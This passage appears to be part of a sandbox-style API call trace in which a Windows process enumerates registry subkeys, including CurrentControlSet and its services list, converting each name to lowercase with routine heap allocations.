BaseAddress=0x21f2eb0) returned 1 [0258.046] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0258.046] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0258.046] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0258.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1a48, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0258.046] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.046] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0258.046] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.046] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.046] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0258.046] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0258.046] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0258.046] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0258.046] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.046] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0258.046] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.046] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0258.046] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0258.047] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0258.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0258.047] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.047] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0258.047] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.047] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.047] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0258.047] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0258.047] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0258.047] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0258.047] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.047] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0258.047] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.047] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0258.047] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0258.047] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0258.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1a48, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0258.047] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.047] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0258.047] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.047] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.047] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0258.047] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0258.047] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1a00, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0258.047] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0258.048] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.048] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0258.048] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.048] RegOpenKeyExW (in: hKey=0x148, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0258.048] RegCloseKey (hKey=0x148) returned 0x0 [0258.048] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0258.048] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0258.048] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0258.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0258.048] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.048] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0258.048] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.048] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.048] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0258.048] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0258.048] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1a00, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0258.048] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0258.048] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.048] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0258.048] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.048] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0258.048] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0258.048] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0258.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1a48, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0258.048] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.048] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0258.049] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.049] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.049] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0258.049] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0258.049] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0258.049] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0258.049] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.049] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0258.049] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.049] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0258.049] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0258.049] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0258.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0258.049] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.049] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0258.049] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.049] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.049] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0258.049] RegCloseKey (hKey=0xc4) returned 0x0 [0258.049] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0258.049] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0258.049] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1a00, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0258.049] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0258.049] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.049] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0258.050] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.050] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0258.050] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0258.050] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0258.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1a48, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0258.050] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.050] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0258.050] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.050] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.050] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0258.050] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0258.050] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1a00, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0258.050] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0258.050] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.050] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0258.050] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.050] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0258.050] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0258.050] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0258.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1a48, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0258.050] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.050] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0258.050] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.050] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.050] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0258.050] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0258.050] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1a00, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0258.051] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0258.051] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.051] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0258.051] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.051] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0258.051] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0258.051] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0258.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1a48, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0258.051] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.051] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0258.051] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.051] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.051] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0258.051] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0258.051] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1a00, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0258.051] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0258.051] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.051] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0258.051] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.051] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0258.051] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0258.052] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0258.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0258.052] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.052] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0258.052] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.052] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.052] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0258.052] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0258.052] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1a00, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0258.052] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0258.052] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.052] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0258.052] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.052] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0258.052] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.052] WideCharToMultiByte (in: CodePage=0x0, 